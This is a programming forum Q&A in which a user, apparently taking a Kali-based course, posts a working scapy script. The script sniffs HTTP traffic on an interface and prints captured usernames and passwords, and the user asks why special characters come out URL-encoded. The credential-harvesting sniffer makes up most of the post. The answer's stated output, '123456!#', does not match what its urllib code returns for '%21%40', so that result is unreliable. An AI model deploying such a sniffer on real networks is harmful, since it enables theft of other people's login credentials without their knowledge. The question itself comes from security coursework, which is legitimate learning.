scapy sniff with special characters - python-3.x

Question

Hi i have written below program, it is sniffing packets and i could see username and passwords and URLs, but when i enter password with special character i am getting like this "%21" can somebody please help...
#!/bin/python3
import scapy.all as scapy
from scapy.layers import http
def sniff(interface):
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packets)
def get_url(packet):
if packet.haslayer(http.HTTPRequest):
url = packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
return url
def get_login_info(packet):
if packet.haslayer(http.HTTPRequest):
if packet.haslayer(scapy.Raw):
load = packet[scapy.Raw].load
#load = str(load)
keybword = ["usr", "uname", "username", "pwd", "pass", "password"]
for eachword in keybword:
if eachword.encode() in load:
return load
def process_sniffed_packets(packet):
if packet.haslayer(http.HTTPRequest):
url = get_url(packet)
print("[+] HTTP Request>>" + str(url))
login_info = get_login_info(packet)
if login_info:
print("\n\n[+] Possible username and password >>" + str(login_info) + "\n\n")
sniff("eth0")
root#kali:~/python_course_by_zaid# ./packet_sniffer.py
[+] HTTP Request>>b'testing-ground.scraping.pro/login?mode=login'
[+] Possible username and password >>b"b'usr=admin&pwd=123456%21%40
it supposed to print 123456!#

Answer 1

The problem is that the password is URL-encoded. Essentially some characters cannot be put into the URL like ! and #, so they are escaped with a %.
If you URL-decode these strings prior to printing them, you'll get the expected result. In Python3, you can decode like so:
# script.py
import urllib.parse
result = urllib.parse.unquote("123456%21%40")
print(result)
Running it we get:
$ python script.py
123456!#